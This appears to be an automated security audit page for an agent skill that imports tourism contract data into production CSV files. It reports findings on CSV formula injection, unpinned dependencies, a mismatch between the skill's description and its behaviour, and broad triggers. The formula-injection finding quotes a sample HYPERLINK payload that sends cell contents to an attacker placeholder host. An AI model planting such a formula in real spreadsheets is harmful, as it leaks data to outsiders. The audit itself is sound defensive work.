Back to skill

Security audit

YC Resource Import

Security checks for vulnerabilities and agentic risk

Overview

This skill is purpose-aligned for tourism contract import, but it can modify production data and local files with weak scoping and safety controls.

Review before installing. Use only in a constrained workspace with copies of production CSVs, verify cloud connector publishers, pin dependencies where possible, require human review before imports, and do not rely on this package alone for desensitization, compliance validation, rollback, or safe production database writes.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/append_csv.py:42
Finding

Spreadsheet Formula Injection in Generated Production CSV Files

Content
View full analysis

Vulnerability Details

File Location: scripts/append_csv.py, lines 42-47
Vulnerability Type: CSV/spreadsheet formula injection
Risk Level: Medium

Vulnerable Code

python
with open(prod_path, 'w', encoding=enc, newline='') as f:
    writer = csv.writer(f)
    writer.writerow(headers)
    writer.writerows(prod_rows)
    for row in new_rows:
        out_row = [row.get(fn, '') for fn in fieldnames]
        writer.writerow(out_row)

Technical Analysis

The script writes contract-derived values directly into a production CSV file without neutralizing spreadsheet formula prefixes. Values beginning with characters such as =, +, -, or @ may be interpreted as formulas when the resulting file is opened in spreadsheet applications.

CSV quoting performed by csv.writer does not prevent formula evaluation. An attacker who controls a field in an imported contract or source CSV could supply content such as:

text
=HYPERLINK("https://attacker.example/collect?data="&A1,"View")

The exact behavior depends on the spreadsheet client and its security configuration. Exploitation therefore requires a user to open the generated CSV in an application that evaluates the malicious formula.

Attack Path

  1. An attacker places a spreadsheet formula in a contract field or another imported data source.
  2. The extraction process preserves that value as field content.
  3. append_to_production() writes the value to the production CSV without formula sanitization.
  4. An operator opens the generated CSV using spreadsheet software.
  5. The spreadsheet interprets the attacker-controlled value as a formula.
  6. Depending on client capabilities and security settings, the formula may initiate an external request, expose spreadsheet data, mislead the operator, or invoke unsafe functionality.

Impact Assessment

Successful exploitation occurs in the context of the user opening the CSV, not in the Python process that generates it. Potential impact in ...[truncated 524 chars]

Remediation
View remediation

Remediation Suggestions

  1. Sanitize every untrusted cell before passing it to csv.writer.
  2. Prefix values beginning with =, +, -, or @ with an apostrophe or another application-compatible neutralization character.
  3. Consider tab, carriage-return, and line-feed handling because some spreadsheet clients ignore leading whitespace before formula markers.
  4. Apply the same validation to existing production rows if they may also contain untrusted content.
  5. Add automated tests covering all dangerous prefixes and representative spreadsheet clients.
  6. If formula support is unnecessary, export to a format or workflow that explicitly treats all imported fields as text.

Example hardening logic:

python
def sanitize_csv_cell(value):
    if value is None:
        return ''
    value = str(value)
    stripped = value.lstrip('\t\r\n ')
    if stripped.startswith(('=', '+', '-', '@')):
        return "'" + value
    return value

out_row = [
    sanitize_csv_cell(row.get(fn, ''))
    for fn in fieldnames
]

T08 · Insecure Dependencies

Warning
Location
SKILL.md:54
Finding

Unpinned Third-Party Skill and Python Dependency Installation

Content
View full analysis

Vulnerability Details

File Location: SKILL.md, lines 54-60
Vulnerability Type: Unpinned and inconsistently named third-party dependencies
Risk Level: Medium

Vulnerable Code

markdown
| Cloud storage type | URL characteristic | Required skill | Installation command |
|---------|---------|---------|---------|
| Google Drive | drive.google.com | google-drive | `openclaw skills install google-drive` |
| Baidu Netdisk | pan.baidu.com | baidu-netdisk | `openclaw skills install baidu-netdisk` |
| Aliyun Drive | aliyundrive.com / alipan.com | aliyundrive | `openclaw skills install aliyundrive` |
| OneDrive | onedrive.live.com | onedrive | `openclaw skills install onedrive` |
| Dropbox | dropbox.com | dropbox | `openclaw skills install dropbox` |

Related installation guidance at SKILL.md, lines 158-159:

markdown
- Missing cloud storage skill: instruct the user to run openclaw skills install xxx
- Missing Python library: instruct the user to run pip install pdfplumber python-docx PyMuPDF

The Baidu dependency is also identified inconsistently:

json
"required_skills": ["google-drive", "Bbaidu-netdisk-storage"]

This metadata appears in _meta.json, line 12, while SKILL.md uses baidu-netdisk.

Technical Analysis

The project instructs users to install third-party Skills and Python packages using mutable package names without version constraints, cryptographic hashes, or publisher verification. Consequently, installation results can change after the project has been reviewed.

The inconsistent Baidu dependency names—baidu-netdisk and Bbaidu-netdisk-storage—increase the risk that a user selects an unintended package. If a similarly named package is malicious, compromised, or incorrectly resolved by the package registry, its installation or runtime initialization may execute attacker-controlled code.

No malicious dependency is proven to exist in the audited repository. The vulnerability is the unsafe dependency-res ...[truncated 1240 chars]

Remediation
View remediation

Remediation Suggestions

  1. Pin every Python dependency to a reviewed version.
  2. Use a lock file with cryptographic hashes, such as a hash-checked requirements.txt.
  3. Pin Skill dependencies to immutable versions or verified package digests where the platform supports them.
  4. Resolve the Baidu connector naming inconsistency and use one canonical identifier throughout SKILL.md, _meta.json, and evaluation documentation.
  5. Verify package publisher identities and retrieve dependencies only from an approved registry.
  6. Review dependency provenance, release signatures, installation hooks, and transitive dependencies before approval.
  7. Install dependencies in an isolated, least-privileged environment without unnecessary access to production files or cloud credentials.
  8. Use automated dependency scanning and controlled update review rather than resolving the latest release during execution.

Example Python dependency policy:

text
pdfplumber==<reviewed-version> --hash=sha256:<verified-hash>
python-docx==<reviewed-version> --hash=sha256:<verified-hash>
PyMuPDF==<reviewed-version> --hash=sha256:<verified-hash>
Vulnerability Patterns
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (13)

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The skill claims end-to-end ingestion, parsing, OCR, cloud retrieval, desensitization, compliance checks, and database import, but the finding indicates those controls are not actually implemented and the real behavior is limited to CSV rewrite/append. This is dangerous because operators may trust the skill to sanitize sensitive contract data and validate compliance when it does neither, leading to unsafe imports, privacy leakage, and integrity issues in production data.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill describes capabilities that require reading and writing local files, but it does not declare any explicit tool scope or permissions boundaries. In an agent environment, missing scope declarations can cause over-broad file access or make reviewers and users unable to understand what filesystem actions the skill may perform.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The trigger phrases are broad generic business terms, making accidental activation likely during ordinary conversations about imports, tourism resources, CSVs, or contracts. In this skill's context, accidental invocation is more dangerous because the workflow includes file handling, CSV generation, possible database writes, and cleanup actions that can affect production data.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill specifies database appends, file moves into archive locations, and deletion of temporary files, but does not require a clear user-facing warning or confirmation before those side effects occur. This is risky because users may invoke what appears to be a parsing skill without realizing it can permanently modify production datasets or remove local artifacts.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The file mandates a fixed completion response in Chinese via “必须原样返回,” which imposes a specific language regardless of the user's locale or preference. This is a natural-language policy concern because no opt-in, language selection mechanism, or region-specific justification is provided.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The description claims very broad capabilities and implies automatic handling of multiple data sources, formats, enrichment, desensitization, compliance checks, and direct append to a production database without clearly constraining when the skill should be invoked. In an agent setting, such overbroad routing language can cause the skill to be selected for sensitive document-processing tasks it should not automatically perform, increasing the risk of unintended access, transformation, or insertion of sensitive business data.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

在多语言字段规则中,文档要求“酒店/景区名称:英文为主,优先填英文,中文参考用”,这构成了明确的语言优先级约束。按照规则,强制特定语言而未提供用户选择、opt-in 或合规性理由,属于自然语言层面的语言/区域政策风险。

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

该文件的实际行为仅包括读取两个 CSV、按既有表头顺序重写生产 CSV 并追加新行(L11-L53, L74-L79)。而技能清单描述包含 Google Drive/百度网盘拉取合同、PDF/Word/图片解析、公开信息补齐、敏感信息脱敏、合规校验等完整自动化链路;在此文件中这些能力均未出现,实际行为明显更窄,仅是一个 CSV 追加脚本。

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script rewrites the production CSV in place with no confirmation, backup, atomic write, or rollback path. If given the wrong file, interrupted mid-write, or fed bad input, it can destroy or corrupt the only production copy, which is especially risky in a production import skill handling business records.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script defines a field validation routine but never invokes it before appending data, so malformed or schema-mismatched rows can be silently written into the production CSV. In this skill’s stated context of production resource import and compliance-sensitive processing, skipping validation can corrupt the production dataset, misalign columns, and undermine any downstream desensitization or compliance assumptions.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
86% confidence
Finding

The description is written in Chinese and is targeted at a Chinese-language workflow without indicating that language behavior is configurable or user-driven. This can cause the agent to prefer the skill or produce outputs in a fixed locale unexpectedly, which is mainly a workflow integrity and usability issue rather than a direct security flaw, but it can still contribute to misrouting or misunderstandings in sensitive data-processing contexts.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

This markdown file is entirely authored in Chinese and does not indicate that users may choose another language or locale. Under the policy rule for natural-language violations, forcing a specific language without user opt-in can be a locale-policy issue unless the constraint is explicitly documented and justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The module description and user-facing messages are written only in Chinese, including usage and status output, which effectively imposes a specific language on users. The file does not offer any language choice or indicate that the skill is intentionally limited to a Chinese-speaking context.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.